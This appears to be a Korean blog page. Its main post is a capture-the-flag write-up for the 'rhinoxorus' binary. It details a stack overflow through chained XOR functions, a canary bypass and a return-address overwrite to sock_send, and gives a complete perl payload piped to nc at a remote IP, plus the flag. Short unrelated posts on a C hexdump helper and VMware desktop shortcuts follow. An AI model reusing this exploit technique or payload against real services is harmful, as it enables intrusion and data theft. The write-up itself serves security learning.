다음과 같은 바이너리가 주어집니다.

rhinoxorus_cd2be6030fb52cbc13a48b13603b9979

※ 추후에 힌트로 추가된 소스

rhinoxorus.c


IDA로 살펴보면 함수가 굉장히 많이 있고, main() 함수에서 이 함수들을 function pointer array에 넣어주고 password.txt를 읽은 뒤 serve합니다.

목표는 password.txt에서 읽은 값을 알아내는겁니다.

serve를 하게되면 process_connection() 함수에서 256Byte를 입력받고, 입력받은 문자열의 첫번째 byte를 function pointer array의 index로 하고 첫 번째 인자를 문자열로, 두 번째 인자를 문자열 길이로해서 함수를 호출하고, 각 함수들 안에서는 함수 안의 버퍼의 크기와 인자와 XOR을 진행한 뒤 문자열의 길이를 하나씩 줄여가며 함수를 호출합니다. 문제에 대한 자세한 설명은 나중에 힌트로 소스도 주어진 만큼 생략하겠습니다.

각 함수 안에서는 우리가 입력해준 글자만큼 XOR로 덮어쓰니 buffer overflow가 일어납니다. 따라서 return address를 수정할 수 있는데, 마침 바이너리 안에 sock_send라는 함수가 있습니다. 따라서 return address를 sock_send로 바꾸고, 인자들을 sock_send(0x4 /* socket fd */, 0x805f0c0 /* password */, 0x100 /* length */); 처럼 해주면 우리한테 password의 내용이 전달됩니다.

문제는 canary 우회를 해야하고, 우리 입력값이 계속 함수로 실행되다보니 언제터질지 모른다는 점입니다.

따라서 저는 다음과같이 3단계로 구성하였습니다.

1단계: return address가 덮어씌워질 함수

2단계: buffer를 쭉 올라가서 1단계의 return address와 인자를 바꿔줌

3단계: count를 1로 바꿔서 바로 return되게 만듦

이렇게 구성하기 위해서 1단계의 버퍼는 조금 넉넉하게, 2단계와 3단계의 버퍼는 별로 없는 input을 찾아야 해서 손으로 조금 노가다를 뛰어보니 첫 2Byte가 \x35\x00이라면 func_67, func_9f, func_92가 차례대로 실행되면서 각각 버퍼의 사이즈가 0x58, 0x38, 0x04임을 확인해서 이걸로 진행하기로 하였습니다.

gdb로 봐가면서 얼마나 넣어야 버퍼의 값이 어떻게 바뀌고 하는지를 알아내는데 시간이 좀 걸렸습니다.

최종 payload를 살펴보면서 설명드리겠습니다.

(perl -e 'print "\x35\x00","\x60"x16,"\x60"x12,"\x9b\x60\x60\x60","\x58"x52,"\x00"x131,"\x58"x12,"\x00"x4,"\xb1\xe2\x01\x00","\x00"x4,"\xf8\x00\x00\x00","\xc0\xf1\x05\x08\x00\x01\x00\x00"')|nc 54.152.37.20 24242

"\x35\x00" : 실행될 3가지 함수를 지정.

"\x60"x16 : 3단계에서 func_92의 canary값에 영향을 주지 않기 위함. 이 함수에 들어가면 \x60이 상위 두 함수를 거치며 \x00으로 변해있음.

"\x60"x12 : func_92의 EBP에서 EBP+0xb까지 보존.

"\x9b\x60\x60\x60" : func_92의 두 번째 인자인 count를 1로 바꿔버림. func_92의 XOR은 여기서 멈춤.

"\x58"x52 : 2단계 func_9f의 canary와 EBP 위로 보존.

"\x00"x131 : 1단계의 func_67값들 (canary 및 EBP+@) 보존.

"\x58"x12 : 여기서부터 func_9f에서 func_67의 canary부분(func_67.EBP - 0xc)을 바꿈.

"\x00"x4 : dummy (func_67.EBP)

"\xb1\xe2\x01\x00" : func_67의 return address를 sock_send로 바꿔줌. (0x804884b = 0x08056afa(원래 있던 return address) ^ 0x1e2b1)

"\x00"x4 : dummy

"\xf8\x00\x00\x00" : sock_send의 첫 번째 인자를 4로 만들어줌 (0x4 = 0xfc(원래 있던 값(payload length)) ^ 0xf8)

\xc0\xf1\x05\x08\x00\x01\x00\x00" : sock_send의 두 번째 인자와 세 번째 인자를 각각 0x805f0c0, 0x100으로 만들어줌. (0x805f0c0 = 0x100(원래 있던 값) ^ 0x805f1c0, 0x100 = 0x0(원래 있던 값) ^ 0x100)

gdb에서 각 함수에서 XOR이 끝나고 BP를 걸고 func_67의 EBP부분을 살펴보면 func_9f에서 잘 덮어쓰는 것을 볼 수 있습니다. 또한 func_92에서 더 이상의 진행을 막기 위한 count가 1로 잘 바뀝니다.

이렇게하면 password가 잘 전송되는 것을 볼 수 있습니다.

Flag: cc21fe41b44ba70d0e6978c840698601

hex editor에서 보는 것처럼 데이터를 hex로 dump해주는 코드이다.


void hexdump(const uint8_t *buf, const uint32_t len) {
	const uint32_t size = 16;

	for (uint32_t i = 0; i < len; i += size) {
		printf("[0x%04x] ", i);
		for (size_t j = i; j < i + size; ++j) {
			if (j == i + size/2) putchar(' ');
			if (j>=len)
				printf("   ");
			else
				printf("%02x ", buf[j]);
		}
		putchar(' ');
		for (uint32_t j = i; j < i + size && j < len; ++j) {
			if (j == i + size / 2) putchar(' ');
			if (buf[j] >= 0x20 && buf[j] < 0x80)
				putchar(buf[j]);
			else
				putchar('.');
		}
		putchar('\n');
	}
	putchar('\n');
}


/usr/include같은 디렉토리에 hexdump.h에 저장해두면 #include<hexdump.h> 후 간편히 사용할 수 있다.

Windows 10의 Multiple Desktop을 사용해서 하나는 Windows로, 나머지 하나는 VMware를 이용해 Ubuntu를 전체화면 해두고 사용하려고 했는데 Ubuntu에서는 단축키인 Ctrl + Windows + Arrow키가 먹히지를 않는 것이다. 윈도우 키를 VMware 안에서 처리해버리기 때문이다.

When using multiple desktop in Windows 10, Windows in one desktop, Ubuntu from VMware in another, I could not use the shortcut key for switching desktops(Ctrl + Windows + Arrow). It's because windows key is handled by VMware, not Windows.

이 단축키를 사용할 수 있는 간단한 방법은 Ctrl + Alt를 이용해 VMware모드를 빠져나간 뒤 Ctrl + Windows + Arrow키를 누르는 방법이다.

Easiest way to solve this problem is to escape VM mode with Ctrl + Alt, and then press Ctrl + Windows + Arrow.

아니면 Windows키를 VMware에서 처리하지 않도록 하는 방법이 있는지는 모르겠다.

I'm not sure if I can make VMware not handle window key.

+ Recent posts